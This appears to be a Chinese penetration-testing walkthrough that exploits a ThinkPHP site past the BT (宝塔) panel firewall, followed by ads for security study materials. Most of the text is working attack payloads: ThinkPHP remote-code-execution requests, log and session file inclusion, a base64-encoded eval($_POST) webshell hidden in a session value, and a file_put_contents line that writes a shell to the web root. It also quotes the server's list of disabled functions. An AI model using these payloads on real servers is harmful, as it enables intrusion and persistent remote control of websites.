尝试路径报错,获取目标版本和配置信息。
https://example.com/admin/indeeex/login.html
直接执行payload,宝塔拦截
/index.php?
s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=a
ssert&vars[1][]=phpinfo()
【网络安全 全套学习资料·攻略】文字末尾了解详细
尝试post执行paylaod
_method=__construct&method=get&filter=call_user_func&get[]=phpinfo
成功执行,php5的assert默认存在代码执行,php7默认不存在。
禁用函数
passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
不能直接执行命令,尝试日志包含和session包含拿shell。
https://example.com/runtime/log/202111/17.log
对日志进行包含
_method=__construct&method=get&filter=think\__include_file&get[]=/www/wwwroot/taizi/runtime/log/202110/28.log
简单看一下访问记录是否能够写入日志,访问
https://example.com/phpinfo
https://example.com/phpinfo()
_method=__construct&method=get&filter[]=call_user_func&server[]=phpinfo&get[]=
_method=__construct&filter[]=think\Session::set&method=get&get[]=eeee&server[]=1
修改一下phpsessionid为1111,进行session包含,可以看到正常写入。
_method=__construct&method=get&filter=think\__include_file&get[]=/tmp/sess_1111
所以这里尝试对payload进行加密处理。
使用以下payload
_method=__construct&method=get&filter=think\Session::set&get[]=
未被拦截,但是在包含的时候出问题了,试了好多次大大概的原因就是<
尝试对所有payload加密使用伪协议读取内容,但是在使用伪协议对时候又被拦截。
这时候可以尝试使用函数,将伪协议反序。
_method=__construct&filter[]=think\Session::set&method=get&get[]=aaPD9waHAgZXZhbChiYXNlNjRfZGVjb2RlKCRfUE9TVFsnYWJjJ10pKTs/Pg&server[]=1
最后要写shell的话直接将shell加密,再将代码加密即可写入。
file_put_contents('/www/wwwroot/test123.php',base64_decode("PD9waHAgcGhwaW5mbygpOz8+"));
点击获取学习资料
- 2000多本网络安全系列电子书
- 网络安全标准题库资料
- 项目源码
- 网络安全基础入门、Linux、web安全、攻防方面的视频
- 网络安全学习路线图